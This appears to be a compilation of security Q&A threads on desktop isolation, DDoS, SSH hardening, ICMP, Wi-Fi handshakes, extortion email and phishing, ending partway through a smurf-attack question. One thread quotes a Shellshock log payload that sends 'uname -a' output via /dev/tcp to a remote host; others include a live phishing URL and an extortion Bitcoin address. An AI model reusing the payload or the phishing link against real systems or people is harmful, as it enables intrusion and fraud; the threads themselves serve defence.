Do any non-GNU/Linux display managers provide the same isolation as Wayland? In discussions around the ongoing transition from X.org to Wayland, I regularly come across comments along the lines of "Linux security is not there yet". This refers to Wayland's promise of better (but not perfect) desktop isolation (e.g. preventing keylogging between two GUI applications).

This implies to me that display managers on other operating systems (Windows, macOS, Android, iOS) have better isolation than both X.org and Wayland? Is this true?

Windows
Microsoft Windows, since Vista, has at least attempted to isolate windows, for example using UIPI and session 0 isolation. This is not perfect, and there are some limitations. Windows exposes many large APIs to client windows, making it possible to bypass isolation. This is a particular problem for UAC consent prompts, where the assumption is that only a genuine user can grant consent. Additionally, AppContainer is able to isolate individual windows. Unfortunately, I know little about how Windows manages GUI isolation, and surely the state of things has changed since Vista. What is true though is that Windows does attempt to isolate individual windows to a certain extent, but there are bypasses.
Linux with Xorg
Xorg is one of the original display managers for Linux, having superseded Xfree86. It uses the X11 protocol. When a graphical application wishes to draw to the screen, it connects to the X server through a UNIX domain socket or through the local network, using the X11 protocol. To authenticate to the X server, it must provide the X11 cookie, which is a random value in a file readable only by a single user, or exported as an environmental variable for that user. Any program that has access to the X11 cookie has full access to the X server. It is able to read keystrokes, inject keystrokes, take screenshots, move windows, etc. As such, graphical isolation under Xorg is limited to DAC (UNIX permissions) against the file containing the X11 cookie. Given that we often (foolishly) enter our root passwords in an X11 session at the same time our possibly vulnerable browser has a hundred untrusted tabs open, this security design is not the best idea. Attempts to improve X11 security, such as the XSECURITY extension, have failed miserably. It is too complex, and too easy to bypass.
There is a way to get graphical isolation on systems with X11, though. Creating a nested X server, for example with Xephyr, allows starting individual applications in their own X server. Combining this with mandatory access controls to force each application to only be able to read its own nested X server's X11 cookie completes this. This provides isolation, but does nothing for the excessive complexity of the X11 protocol and its extensions. Vulnerabilities in the decades-old application continue to pop up.
Linux with Wayland
Wayland is supposed to be the answer to Linux desktop security. It integrates itself with the window manager in the form of a shared library, allowing the window manager to be able to manage permissions for individual windows. Each window can request permissions from the window manager, and the window manager can grant or refuse them. The overall architecture for Wayland is vastly different from Xorg, and there are many internal differences not directly related to security (for example, Wayland does not do rendering on its own, rather it requires the client window do the rendering). The differences alone would take up an entire answer. Security-wise, Wayland is superior in that it provides confidentiality, integrity, and availability to a desktop full of untrusted graphical applications, and it runs using a simpler protocol, requiring fewer privileges to function properly.
Mobile operating systems
I know little about mobile computing. One big difference between mobile operating systems of all types and desktop operating systems is that mobile devices tend to be more monolithic and limited in their configurability. This makes security policies easier to design. As a result, inter-window communication becomes less important, to the point that Android can even run each individual application under its own UID and GID, completely sandboxed away from the rest of the system. iOS likely does something similar. If I discover more about Mac OSX (which is certainly not fully isolated from malicious applications) and Android/iOS graphical isolation, I will edit this answer.
To answer your question, many operating systems do have better isolation than Xorg (which has none), but not better than Wayland which, currently, is not known to be possible to bypass short of using novel exploits or hijacking the entire user. Wayland is a major improvement over the X11 model.


DDos prevention systems behavior for corporate networks I asked this question on stackoverflow but couldn't get any answers and I even got a down vote as a present so that I'll try my luck out here. I did some research about this problem and couldn't find anything useful. Think of a corporate which has hundreds of users and these users try to reach our web application. These users will have the same external ip address that goes to internet. How does the DDos preventing products (CloudFlare etc.) handle this?

It seems to me that they can't just look into the IP and say "ok we got so many requests from this IP, lets ban it". They for example should look into session_id or something similar which travels with cookie in http request. How do they work with corporate networks?

"ok we got so many requests from this IP, lets ban it"

Yes, you are right. More than the ip addresses,  Cloudflare scan to see what resource they are requesting, what payload they are posting, how frequently they're making requests, etc.
So, to answer your question Cloudflare doesn't just blacklist an ip address of possible DOS, instead they apply a complex algorithm to determine if the sourcing address is a bot or legitimate user. But it is safe to agree that even thousands of requests from multiple internal systems to a (cloudflare) protected web application is easily handled without bottleneck due to their caching policy, updates the cache for your web app every hour.
Also understand that after implementing cloudflare or similar services to your Web-Application, the request for resources reaches your Web-Application only if the Cloudflare doesn't have it cached. By the time the 10th request is made , It is already cached in their data centers around the world and the next subsequent requests are distributed to close hop Cloudflare data centers from there onwards.
I urge you to read through this post in Cloudflare ( click HERE ) to understand the technical details.
I hope this gives u a gist of Cloudflare like service implementation. And these days a few hundred-thousand requests from a single ip-address is not treated as a threat but are only analyzed more for possibilities (as they are aware that it might be an intranet of systems requesting services from the same Web Application)


static IV and random keys using aes-256-cbc Are there any security risks in using a static IV if I generate a new random KEY for each set of data to encrypt?

If I understand correctly what the purpose of the IV is in Cipher-block chaining mode of operation, there is no issue in doing things like this. Am I missing something?

If it helps, I am talking about something like this:

aes_key=$(openssl rand -hex 32)
openssl enc -aes-256-cbc -nosalt -base64 -K ${aes_key}  -iv "b63e541bc9ece19a1339df4f8720dcc3" -in some_file_to_encrypt -out encrypted_file

If you are really using a new random key for each message, you can use a fixed initialization vector, yes.

But usually you want to reuse a key for several messages - for example, as you somehow have to transfer your key to the receiver of the message, and then using a random initialization vector for each message is important to avoid showing similarities between the messages in the ciphertexts.

In your example, what else are you doing with the key? How does the receiver of the message gets the key?


Does any SQL/noSQL server accept * (asterisk) as a wildcard character? I am testing a website and I found an endpoint that accepts an e-mail address and returns a HTTP 200 response if that e-mail is registered, or 401 if that e-mail is not registered. But I also noticed that it is possible to use wildcards like * or ? in the email parameter. For example if I type myregisteredemail@*.com, I will get a HTTP 200 response, but if I type nonexistingemail@*.com, I will get a 401 response. The wildcards can be used anywhere in the email.

I know that this behavior could easily be used for e-mail enumeration, but I'm trying to figure out if there is maybe any other injection that would be more critical.

I have tested lots of SQLi payloads, but without success, and as far as I know, all SQL product use % as wildcard character and not * (% does not work in this example as wildcard). Is anybody aware of a SQL or noSQL product that uses * as wildcard character?

If * appears to be a wildcard, it could be LDAP, probably a query to Windows ActiveDirectory.

The good thing in AD is that the LDAP structure is known, so you can get an idea how to bypass authentication. This for example is a reference for the attributes of a user in AD. It could of course be a custom LDAP structure too.

OWASP has a few ideas for LDAP injection.


Basic question about how an IDS works Would the location of an Intrusion Detection (or Packet Analysis) sensor on an internal network impact whether the external host's Source IP (assuming inbound TCP traffic) is retrievable from a packet?

Put differently, is there a common deployment scenario in which sensor placement would mean constantly seeing an internal IP as the source rather than the actual external host from which the traffic originated?

(yes, I know how dicey attribution gets--I mean the last sending host).

It depends on how your network is setup; but usually the IP is not stripped and the packet headers contain the original source and destination.

Generally, a core switch comes after a router, the router is likely on an enterprise network to be doing a lot of NAT translations.  In which case, you may see the NAT IP of a given packet be referenced (e.g instead of some public ip, you see 192.168.x.x).  So it's likely you will see the internal IP as a source of anything outbound, because, that's the only IP the network device knows about -- the external IP is applied by the router doing NAT.

However unless you're doing some strange (e.g. Cisco fix-up) packet-level inspection and changing, the packet headers should remain the same and indicate the source and destination IP of the endpoints -- not of any intermediate network devices that carry the traffic. Those devices only have management IPs -- and don't tend to (although this can happen in sophisticated layer 3 switching setups which are uncommon) alter the packet headers.


Data 'dust' left over other than on the HDD? I was working on a project which contained very classified information.
I am now planning on using the computer for personal work but I'm worried that replacing the HDD won't be enough.
Is there any chance that any data or data 'dust' could be stored elsewhere other than the HDD?

Would replacing the HDD be enough to assume the computer is safe to use with no risk or should I just torch the whole thing?

There are instances where malicious software can persist elsewhere than the main storage drive - it can rewrite device's firmware (BadUSB, etc). However when dealing with trustworthy software like a standard OS, text editor, etc, wiping the hard drive will be sufficient.

Ask yourself - why would legitimate development software ever store some data on system firmware, USB device firmware, etc?


Security risks from exposing ssh to a home server I'm not sure if this is the right place to ask.
My goal is to establish an external connection to my home server through ssh and tunnel some ports to the laptop. For this reason, I've exposed the SSH port through my router (random 5-digit port instead of 22), and set the following config:

Private key connections only (password connections turned off)
Allowing only one specific user in (with sudo rights) from known IP addresses. (Ideally I would love to somehow allow access from my mobile phone's hotspot, but it seems to change IP very often..)
Additionally, I'm thinking about creating a guest user with no sudo rights, which would be allowed from any IP. (This is in case I was trying to use the mobile hotspot). The guest would be enough for tunneling the ports, but would have no rights to files or anything otherwise.

Are these restrictions enough, or am I missing something important?
From what I've gathered, a better alternative would be to setup a VPN and connect to it instead, however, I'm not sure if it isn't a large overhead for just one user. Additionally, as I'm not an expert in this field, I feel that it would be much easier to leave something ill-configured by mistake due to the larger complexity of openvpn setup. While with sshd it seems straightforward.
EDIT:
Additional idea regarding the 22 port: from what I understand, after changing the port to some random other, they can still be discovered by a thorough nmap scan - if that's the case, is it possible to spoof them? E.g., spawn some "honeypot" ssh ports that lead nowhere (or to some empty docker container?), essentially hiding the correct port that leads to the machine? If anything, one can open thousands of empty ports, that would respond to nmap scans.

Changing your port number is not considered a security counter measurement, we call this security by obscurity.
If one would scan your IP address they will find out an SSH daemon is running on an alternative TCP port regardless.
Based on your edited question it appears you are concerned anyone finding the SSH daemon TCP listening port. If this is the case, I would recommend to implement port knocking.
Port knocking is a method of externally opening ports on a firewall by generating a connection attempt on a set of predefined ports. It could be configured in a way where you have to execute a script that will connect to X amount of ports.
If the right sequence is received by the port knock daemon, it will open up your SSH port in the firewall for X amount of time. A regular port scan will not be able to detect the SSH daemon at this point.
Hardening your SSH daemon is always recommended as the 'default out of the box' configuration is still using weak key exchange algorithms and ciphers.
By using strong key exchange algorithms and ciphers, most automated attempts will (currently) fail because the client (attacker) can not negotiate on either one of the algorithms or ciphers.
You could consider using my hardened configuration located at: https://github.com/ITNerdbox/hardening-configurations/blob/master/sshd_config
It might require some tweaking on your part in order to meet your requirement(s).


Is Steganography considered encryption and subject to USA export restrictions? I have written an application for Apple's iOS which embeds messages in JPEG files using steganography (see http://en.wikipedia.org/wiki/Steganography).  For the purposes of this question lets assume that my steganography algorithm is well known, but I also use random embedding locations (meaning that a key is required to extract the payload).

In my mind this classifies as encryption, but what if I didn't use random embedding (anyone who detected the cover image could extract the payload using raster scan mode)?

This is more for my curiosity, and I will be filling out my application submission to claim encryption functionality regardless because I offer and additional layer of encryption in my application.

Encryption is about keeping some information confidential through a transform which requires knowledge of a "secret convention" to unravel. If there is a key and the key is needed to recover the data, then it is encryption.

In key-less steganography, there is still a "key" but a very short one. Steganography is about hiding data in an innocent-looking medium (e.g. a picture). The "secret convention" is then that your steganography method was applied, and the picture is not "just a picture". This can be viewed as a one-bit key...

I am not, in any way, a lawyer. My view is that of a scientist. In my view, your key-less steganography is not encryption per se, because a "one-bit key" stretches the definition of key a bit too far for my taste.


What does the private key look like for an HSM based certificate? Can someone explain what makes up the anatomy of a certificate’s private key when the key itself is stored on an HSM? I’m using nShield in this example but I’m assuming the principals are the same for any HSM that creates certificates with HSM private key pointers.

There are two areas I’m having a hard time understanding and there isn’t much information out there…or I’m searching for the wrong keywords.

When I open the certificate in the certificate manager (Windows) it shows that I do have a private key to the certificate. I realize this is just the pointer but, nevertheless, Windows recognizes the data as a valid private key, how is that possible? How does it fool Windows into thinking it’s a real private key?
If I attempt to use the private key from the certificate (ie, to sign something) it redirects the private key operations to the HSM. I assume the CSP is responsible for this but how does the certificate know which CSP to use?

I’m trying to get a better understanding so I can write software that allows users to leverage certificates for crypto operations instead of having to rely on PKCS11 or the vendor’s API.

Thanks!!

At a theoretical level this is possible because the public key and private key of a key pair are mathematically linked. This means that it is possible to query a key storage provider if it contains the private key of a given certificate.
In Windows, yes, it is the Cryptographic Service Provider (CSP) that handles this. The HSM vendor has provided software that integrates with the Windows Cryptography API. Some details about the architecture can be found in this MSDN article: Key Storage and Retrieval

You don't need to delve into deep details of Windows crypto architecture to write software. Microsoft provides APIs that expose this functionality to application developers. If you are using the .NET framework you can look into the the System.Security.Cryptography and System.Security.Cryptography.X509Certificates namespaces.


VirtualBox setup - running potential virus Is my VirtualBox setup fine for running a potential virus/malware?
Here's the screenshot of my settings - CLICK
Shared clipboard and drag n drop are off.
Let me know if anything else is required.

In general VM environment is a sandbox (isolated environment). However, it comes with caveats. If your VM is connected to the local network, the Virus or Malware can use it as an attack vector to infect other hosts on the network. So you should consider disconnecting your VM from any type of network and or virtual interfaces. Another factor worth considering is that escaping sandbox is difficult but not impossible so depending on the type of Virus/Malware it may affect the host machine and other connected devices utilizing vulnerabilities of the sandbox environment.
I would advise using a separate dedicated offline machine for running the sandboxed environment, a machine that you can reformat after finished testing, preferably something with capabilites for flashing the BIOS to avoid any surprises.


Understanding a suspicious HTTP request While debugging my server for issues, I checked my logs frequently. Here is one weird one I've found, which seems like an attempt to run something on my server. I am using nginx on Ubuntu 14.04. Below is the log entry:

xxx.xxx.xxx.xxx - - [07/Apr/2015:02:15:05 +0200] "GET /cgi-bin/test.sh HTTP/1.0" 400 172 "-" "() { :;}; echo; /bin/uname -a > /dev/tcp/xxx.xxx.xxx.xxx/80"

The path request of /cgi-bin/test.sh and the User-agent field () { :;}; echo; /bin/uname -a > /dev/tcp/xxx.xxx.xxx.xxx/80 looks very suspicious to me.

My guess of this is to run something on the server (which luckily is not there), and trying to get me to expose my system information and send it through TCP to the requester's IP address, (which, also luckily, I don't have anything that parses the logs yet).

What is that request trying to do, both in the path and the User-agent field?
Has it done any harm to the server?
What can I do to reduce the damage done?

Thanks in advance.

It looks like someone is probing your machine to see if you are vulnerable to the shellshock vulnerability.

They are hoping that the command will be executed against the shell and that the response will be returned to them. In this case they are trying to see what system you are running, likely to help choose the next attacks if successful.

You should ensure that you have the patched version of bash or use dash. You may also want to implement firewall rules or proxy rules to filter out requests that include the tell-tale shell shock string as these are likely malicious IPs.


Is it a bad idea for a firewall to block ICMP? This question was inspired by this answer which states in part:

  The generic firewall manifest file finishes off by dropping everything I didn't otherwise allow (besides ICMP. Don't turn off ICMP).

But, is it truly a good practice for a firewall to allow ICMP? What are the security implications, and are there cases where ICMP should be turned off?

Compared to other IP protocols ICMP is fairly small, but it does serve a large number of disparate functions. At its core ICMP was designed as the debugging, troubleshooting, and error reporting mechanism for IP. This makes it insanely valuable so a lot of thought needs to into shutting it down. It would be a bit like tacking >/dev/null 2>&1 to the end of all your cron entries.

Most of the time when I talk to people about blocking ICMP they're really talking about ping and traceroute. This translates into 3 types

0 - Echo Reply (ping response)
8 - Echo Request (ping request)
11 - Time Exceeded

That's 3 types out of 16. Let's look at a couple of the other ICMP type that are available.

4 - Source Quench (send by a router to ask a host to slow down its transmissions)
3 - Destination Unreachable (consists of 16 different kinds of messages ranging from reporting a fragmentation problem up to a firewall reporting that a port is closed)

Both of which can be invaluable for keeping non-malicious hosts operating properly on a network. In fact there are two (probably more but these are the most obvious to me) very good cases where you don't want to restrict ICMP.

Path MTU Discovery - We use a combination of the Don't Fragment flag and type 3 code 4 (Destination Unreachable - Fragmentation required, and DF flag set) to determine the smallest MTU on the path between the hosts. This way we avoid fragmentation during the transmission.
Active Directory requires clients ping the domain controllers in order to pull down GPOs. They use ping to determine the "closest" controller and if none respond, then it is assumed that none are close enough. So the policy update doesn't happen.

That's not to say that we should necessarily leave everything open for all the world to see. Reconnaissance is possible with ICMP and that is generally the reason given for blocking. One can use pings to determine if a host is actually on, or Time Exceededs (as part of a traceroute) to map out network architectures, or Rory forbid a Redirect (type 5 code 0) to change the default route of a host.

Given all that, my advice is, as always, take a measured and thoughtful approach to your protections. Blocking ICMP in its entirety is probably not the best idea, but picking and choosing what you block and to/from where probably will get you what you want.


Installing a CA only for specific domains For many reasons, it's often convenient for organizations to have their own CA (self-signed or otherwise).

As I understand it, adding the CA certificate to a OS or browser will make it trust the organization's servers - but also open the door for the organization (or any attacker to access to the CA key) to impersonate any server on the internet. This is a problem, especially if the organization has a BYOD policy.

Is there any way to add a CA to popular OSs and browsers (Windows, Mac, Linux, Android, Chrome, Firefox,...) such that it is only trusted to certify some domains?
If there isn't, is this because of a technical limitation in the PKI system, or simply because "nobody needed it implemented yet"?

Having a CA specific to a domain is possible with X.509, using Name Constraints. It is not well supported, though -- many implementations will ignore the constraints. If it did work well, commercial CA could sell domain-specific subCA certificates to domain owners (that would be a technically much better solution than wildcard certificates).

In many cases where there is an "organizational CA", the users are organization employees, for whom the CA is an emanation from the upper spheres of the organization, i.e. (theoretically and formally) the Voice of God. In these cases, limitation to a single domain would not provide a significant security improvement, which explains the lack of sustained demand for such a feature (and, thus, lack of support from existing browsers).


Authenticate a user thru a UDP socket so let's say I had a basic socket, doesn't give you any information about the user other than the IP address, what would be my options If I wanted to authenticate a user in the most optimal way possible (as in performant),

I thought of having a small key that I hash the packet with, which could be de-hashed quite fast (I think) - but I don't know how I could securely send that initial key. (Although maybe with a secondary SSL server, which I will have for HTTPS requests)

Edit: More Info, the user authenticates with the HTTPS server first, so a key can indeed be shared securely (with SSL) between the client and the server

Thoughts?

Provide the clients a random key (long-lived, or temporary) in the https sessions. Include the user id in the datagrams (if you don't have it yet). Sign the datagrams with a HMAC algorithm, verify the datagrams HMAC on the server.
Use DTLS.


Why use HTTPS in the DP-3T Protocol? I'm having a discussion about transparency of the HTTPS protocol over a specific COVID-19 detection app. The opponents maintain that using HTTPS is obfuscating the app, that the app should behave transparently and send all the traffic over HTTP so they can see what they are sending, because the data is "anonymous" anyway.
After some investigation I found out that this part is following strictly DP-3T protocol, which states that "The app opens an encrypted TLS connection to the server and sends the authorization code[...]". I know for sure that they didn't read the whole protocol (neither did I, just some parts of it), but even with this in mind, they keep saying there is no reason not to start using plain HTTP by removing HTTPS. They go further and state that if it appears in the protocol, then it is badly designed.
So what would be the reasons to use HTTPS in an anonymous protocol such as DP-3T?

TLS connections have 3 important, distinct properties:

privacy, i.e. protection against eavesdropping
authentication, to make sure the parties communicating are really who they pretend to be
integrity, meaning the data cannot be modified during transmission

It seems your opponents argue only against the first one, but the other two are critical for most applications. For DP-3T in particular, lack of authentication would mean an attacker could intercept a transmission and drop it while the application would think the code has been transmitted successfully.
And more generally, TLS nowadays is cheap and easy to setup. You would need a very good reason not to use it rather than one to use it. In fact, at least for iOS, it is explicitly required that an app uses transport security, and exceptions must be justified.


Appropriate strategy for preventing brute forcing of logins? I am currently building security into a website. So far, I have the following rules, and am wondering if this seems sufficient.

5 failed login attempts for a particular username will cause that account to be locked for 1 hour
The number of failed login attempts by IP address will be stored in the server cache. If an IP address has 2 failed login attempts within a 2 minute period, then a Captcha (Google Recaptcha) will be shown which must be filled in before they can re-attempt another login.
The 2nd and subsequent failed login attempts would be recorded in the database (IP address, username attempting to login as, and timestamp)
If an IP address exceeds 30 failed login attempts, then the login page would be blocked for that IP address for 2 minutes (eg via Response.End()). I want to slow down brute force attacks, but also still allow large companies/institutions/universities/etc that may have many users behind a single IP address to still be able to login even though there may be several failed logins for completely different users within a short amount of time.
Log tables could be reviewed periodically to enforce more permanent bans, eg at the firewall level.

Does this sound like an ok strategy, or could there be any improvements?

That is certainly a strategy which can add security - but as to whether it is appropriate or not is impossible for us to say without knowing your requirements.

For example: if you have a key requirement for your users to have access, then lockouts can be a bad idea - Denial of Service is a risk - so you may want to think about progressively longer delays instead.

Also, have you thought about concurrent logins? You might want to allow users to login from multiple locations, but if not, enforce logout of previous session when a login occurs from a new IP. Or for an even more advanced solution, if one login is from a US IP address inthe morning, a login from an African IP address in the afternoon could flag up as unlikely to be legitimate.

Always work out your particular needs - access, user security, location etc. and build your security to meet those needs.


Sending Probe Request Frames | Receving Probe Response -- Scapy OBJECTIVE

Send probe request frame subtype=4 and receive probe response subtype=5 with Scapy

Ultimate goal is to detect access points nearby via Scapy ( not by sniffing beacon frames )

The object of this is to learn how to initiate probe requests and collect the responses.

ATTEMPTS

POSSIBLE METHOD 1

Wirelss card in Monitor mode

Broadcasting a probe request to anyone that can hear and recording response into variable immediately

packet = RadioTap()/Dot11(type=0,subtype=4,addr1="ff:ff:ff:ff:ff:ff", addr2="00:11:22:33:44:55",addr3="ff:ff:ff:ff:ff:ff")
response = sr(packet)

POSSIBLE METHOD 2

Wireless card in Monitor mode

Broadcasting a probe request to anyone that can hear and then sniffing for response afterwards

packet = RadioTap()/Dot11(type=0,subtype=4,addr1="ff:ff:ff:ff:ff:ff", addr2="00:11:22:33:44:55",addr3="ff:ff:ff:ff:ff:ff")
sendp(packet)
packets = sniff(count=50, timeout=30)

ISSUES

Neither METHOD 1, nor METHOD 2 provided a successful result for me. I am quite unsure if I am going about this correctly. I have found so much documentation online for "sniffing out probe requests", but this is not what I want to do.

That's because you didn't include the "Dot11Elt" layer, try this:

RadioTap()/Dot11(type=0,subtype=4,addr1="ff:ff:ff:ff:ff:ff", addr2="00:11:22:33:44:55",addr3="ff:ff:ff:ff:ff:ff")/Dot11Elt(ID="SSID", info="")

or:

RadioTap()/Dot11(addr1="ff:ff:ff:ff:ff:ff",addr2="00:11:22:33:44:55",addr3="ff:ff:ff:ff:ff:ff")/Dot11ProbeReq()/Dot11Elt(ID="SSID", info="")


Why can't we perform a replay attack on wifi networks? I was wondering that, when a hacker is trying to hack a Wi-Fi network, he/she would try to capture a handshake and then try to decrypt it, whereas when you want to log in to your Wi-Fi access point, you would type in your password, the password would be encrypted, and then sent to the router which would decrypt it using a key.
So why can't a hacker just intercept the encrypted password (the handshake) and the just resend it to the router without having to decrypt it like a replay attack?

Because the protocol is built to protect against that.

whereas when you wanna login to your wifi you would type in your password and the password would be encrypted then sent to the router which would decrypt it using a key

This is not how it works, on many levels. The password is never sent over the air, and it's a more complicated protocol, with multiple back and forth-messages - commonly referred to as a four way handshake.
It uses a nonce to ensure that the packets are not equal. The nonce is basically a random number added by either party to explicitly avoid replay attacks, by forcing the content to differ. The access point gives the client a nonce, and the client uses that nonce in further calculations. An attacker replaying the data would be betrayed by the fact that the AP can tell that it's not using the nonce supplied by the AP to the attacker.

Furthermore, if we have a look at the four way handshake, we see that neither party sends the actual secret over the air. They just prove that they know it for each other, so there's a mutual authentication.


Can password be stolen when doing SSL/TLS-protected IMAP/SMTP in public network My email password has been stolen most probably while I was on vacation in another country and was using hotel's (and maybe others, cannot remember) WiFi networks to read and optionally send emails from my Android phone.

Bounced spam messages started flooding my mailbox few days after I had arrived there. Our company's email server implements SSL on IMAP and TLS on SMTP, and has a valid certificate issued by CA.

Can one theoretically steal credentials having full control over their network? Man in the middle attack with unlimited freedom - change DNS records, etc? My vision is that even if he could change DNS entry for our mail server, and provide IP of his server - how could he then substitute the certificate which is valid for our server name? Can one find CA who can issued the certificate without proper checking if server is indeed owned by the customer? Or can he somehow replace the symbolic name of my server mail.example.com with his server mail.intruder.com and get certificate for mail.intruder.com?

I can hardly see how this can be done with DNS, otherwise all passwords in the world would be stolen. But maybe I'm missing something, like scenarios involving STARTTLS. My phone is configured to not accept non-trusted certificates.

First, the bounced spam messages you see can happen no matter if your credentials where stolen. Sender spoofing is actually very common when sending spam. It is similar to writing a different address than yours as sender on the envelope of a snail mail - everybody can do this easily.

As for the possibility of stealing your credentials: this depends on your specific configuration. If IMAP or SMTP are configured to not enforce TLS but to use TLS only when available (i.e. optional, not mandatory) the attacker could mount a man in the middle attack (ARP spoofing, DNS spoofing etc) and claim to be a mail server which does not support TLS. If your mail client only uses TLS optionally it will continue with the connection and login without TLS, thus presenting the credentials to the attacker.

If instead both IMAP and SMTP in your client are setup for mandatory TLS with full validation of the certificate and rejection if the certificate cannot be fully trusted, then a man in the middle attack is not possible without making changes to your system, provided that the attacker did not get access to the original certificate and key of the server or managed to get a valid certificate from a trusted CA (both unlikely).


Am I getting DDOS attacked? There has been some weird activity with my WiFi router after somebody threatened to DDoS me. I am looking at my WiFi router's activity logs and I don't know what I am looking for.
What happens is my WiFi turns off, for all the devices in my house, then I can't connect to the internet for 1 minute or so.
This has happened twice now after I got a call on my home phone from a Skype number that said "this is LizardSquad" and that they were going to hack me.
Could somebody tell me what I should be looking for in the logs, and how I can better secure my WiFi so that it doesn't happen again?

A DDoS attacks basically means the connection to your computer is saturated. There are several ways to do this but the result is the same: nobody can access your router and you may possibly not be able to go on Internet (roughly speaking).

No hacking is involved, once the DDoS stops you recover (you many need to reboot your router). So this is not "hacking" as per the movies, just a way of blocking access.

You may see some logs on your router (if you have any) but they may not be obvious. If you see a lot of traffic coming in it may be a DDoS. You may also not see much in the logs, it really depends on the attack.

If you are a home user you can file a complaint with your ISP but basically you need to wait until it is over. If this is repeated then you definitely should talk to your ISP (you cannot do anything yourself to protect against a DDoS).

Since you see that there are strange activity within your LAN (short of lack of Internet access) then it may be that this is not a DoS. Your WiFi may have been breached but this means that the attacker is nearby (as opposed to a DoS which can be done from the other side of the globe). Your first measure is to make sure you use WPA2 (see the  configuration of your router) and a looooong password.

If your internal network was compromised (ie. someone connected to your WiFi and possibly hacked other devices in your LAN) then the best thing to do is to reinstall the OS from scratch (particularly MS Windows and Linux).


Received an email from a Bulgarian address trying to extort money As the title says, I received an email from some Bulgarian email address saying that the sender has compromised my browser and thereby obtained control over my camera as well as gathering data on all my social media profiles. He threatens to send the pictures to relatives and colleagues if I don't transfer 400$ worth of BTC to his wallet.

I have three questions:

How credible is this threat?
Is it possible and easy enough to do this over a browser? I've taped over my camera since quite a while so that makes me additionally suspicious. Also, I recently registered a website with that email address and have been receiving a lot more spam since then.
Can I find out who sent the mail?
The email provider is from Bulgaria, but the header says
X-Originating-IP: [86.153.97.58], which seems to be from the UK. Can I somehow find out if this is a VPN address or the actual private one?
The email says that I have 24hr after reading the mail, but also says that I shouldn't respond, because he's never going to use that mailbox again. Can I somehow find out if a read receipt has been sent to some address?

I should maybe add that this is not some kind of Nigerian romance scam or whatever. I have no clue who this person could be.

Email content:

  Sie wurden wecken sexuell vorlaptop-Bildschirm wenn Sie besuchten bzw.
  besuchen Erwachsene Internet site yours palmtop-computer gefangen
  Schadprogramm wegen Verletzlichkeit Ihre browser.

  Die bösartigen soft registriert alle Aktionen notebook und unter
  anderen WLAN über Cookies der websites die besuchen.

  Und die key Vorteil von die benannte feindlich Programm, dass es ist
  in der Lage Energie front-Kamera, selfie Kamera und entfernen alle
  Telefonnummern von yours mail.

  gleichzeitig haben Benutzernamen yours box und
  social-networking-Plattform.

  So ich besitzen video und snap-shots auf denen du beat the dummy und
  nackt.

  falls nicht Wunsch, die content geben auf der Welt und verschickt alle
  Ihre Kumpels Familienangehörige I vorschlagen die Erfolg Lösung.

  Sie muss liefern Versand mine Bitcoin Nummer
  1Cco1u33PEuAPuShZwqJRrZ4r1oQZHpop9 400 Vereinigten states dollar in
  BTC.

  Nach Erhalt das Geld ich werde beseitigen kompromittierende Bild und
  Sie sollte nie wieder hören etwa diese unangenehme situation.

  Sonst falls ich glaube nicht, erhalten Sie das cash in 24 Stunden nach
  öffnen dieser E-mail ich werde Versand diese verschmutztSchmutz - Sie
  yours eng Verwandte Menschen und arbeitet und auch social media für
  Allgemeine Schätzung von yours Aktionen.

  P. S. Meine Deutsch wird nicht weit von gut da its nicht meine
  Muttersprache dennoch Sie kann zu verstehen was ich noch sagen möchte.

  Werden, so dass die Art und und machen keine Antwort mailing-box ich
  darf nie verwenden, um es wieder.

  ------------------------------------- Mail.BG: Безплатен e-mail адрес. Най-добрите характеристики на българския пазар - 30 GB пощенска кутия,
  1 GB прикрепен файл, безплатен POP3, мобилна версия и други.

It seems to be fake ransom email...

  The Fake Threat Emails are poorly written; sent en Masse

  Fake ransomware racketeering is on the rise.

  The emails demanding Bitcoin are usually authored in poor English and
  often contain threats to leak private information if the Bitcoin
  ransom is not paid.

  These Bitcoin extortionists lie to their victims that they possess
  sensitive information which, when leaked, would destroy reputations.

https://darkwebnews.com/bitcoin/fake-email-bitcoin-ransom/


Accidentally clicked a phishing link, am I at risk? I clicked a link from a fake Twitch streamer and now I'm scared of being spied on. I typed my account details but didn't actually sent them because I realized it was a fake link right before clicking enter.

Am I at risk from some sort of malicious program being installed into my PC just by clicking the link?

https://secure.runescape.com-l.cz/m=weblogin/loginform.ws769,443,127,150,5
This is the link and I checked on VirusTotal and the result was that it was a phishing/malicious website.

You likely have nothing to worry about. Phishing relies on tricking you into entering sensitive credentials. It's very rare for it to exploit you directly and if they did want to do that, they wouldn't be showing you a password prompt. However, it is possible that merely typing in your account details sent data to them even if you did not press enter, so you should change your password. I don't think that's likely in this case, since I logged network activity while typing a dummy password into that phishing site and could only see it send it when I actually pressed enter, but it's still a good idea to change those passwords.

It is possible that the page has attempted to use exploits against your browser regardless. Generally, these exploits will be against old browsers or outdated plugins. If you keep your browser up to date, it should not have public security issues that could be used to install malware via a drive-by download.


Web App Protection and Sign On I have a client that wants to protect access to a web app in case the employee leaves because the app gives access to clients, sales, etc. He wants to "hide" the login credentials to this app and asked us to write a login app that would need to be launched first, then the app would log the user in. This way the user would never know their true credentials and they could not have remote access to this app on weekend. Anyone have done this or have ideas?

I suppose that your problem is about using a Web application that you do not control. That Web application requires some "user credentials" (login and password) which you do not want to show to the human user. But these credentials must exist, and if they are not in the employee's head, then they must be in his machine or another relay machine.

In general, you can envision a proxy system: the employee connects not to the Web app, but to the proxy. The employee authenticates with the proxy through some proxy-specific method, which can be a login+password (not the same as the credentials for the Web app). The proxy then forwards all requests to the Web app, and responses back, except that it also performs the "true" authentication with the Web app.

That proxy can be some software running on the employee's desktop system, but that's kinda weak, because the employee has, by definition, physical access to his own desktop system, so he will be able to extract whatever secrets it contains, if he puts some effort into the task. A stronger system is to make the proxy a separate machine, kept in a bay in a server room, on the company internal network. The point here being that this proxy machine is not reachable by the employee from his home Internet access.

That's about as much as we can tell "in general". How easy or hard it would be to implement such a system depends a lot on how the Web app does things. For instance, if the target Web app uses HTTP Basic Authentication, then the proxy just has to transparently add a WWW-Authenticate: HTTP header to every request. If the Web app uses a custom "login page" (that's the usual case), then the proxy would have to get that page, submit the credentials (HTTP POST), then get the HTTP cookie, and add the Cookie: HTTP header to every request. If the Web app uses OAuth, and/or Ajax code with client-side Javascript, then things can become complex, possibly quite hairy.


How to prevent smurf attack? I am using college network to access internet. Many other users are using the same network. Recently I have been experiencing sluggish net connection. So when I did some investigation, I found that many other computers on the network have been sending ICMP packets to me. I used Wireshark to analyse the incoming packets . Here is an screenshot of my my analysis:

(My IP was 192.168.38.58)

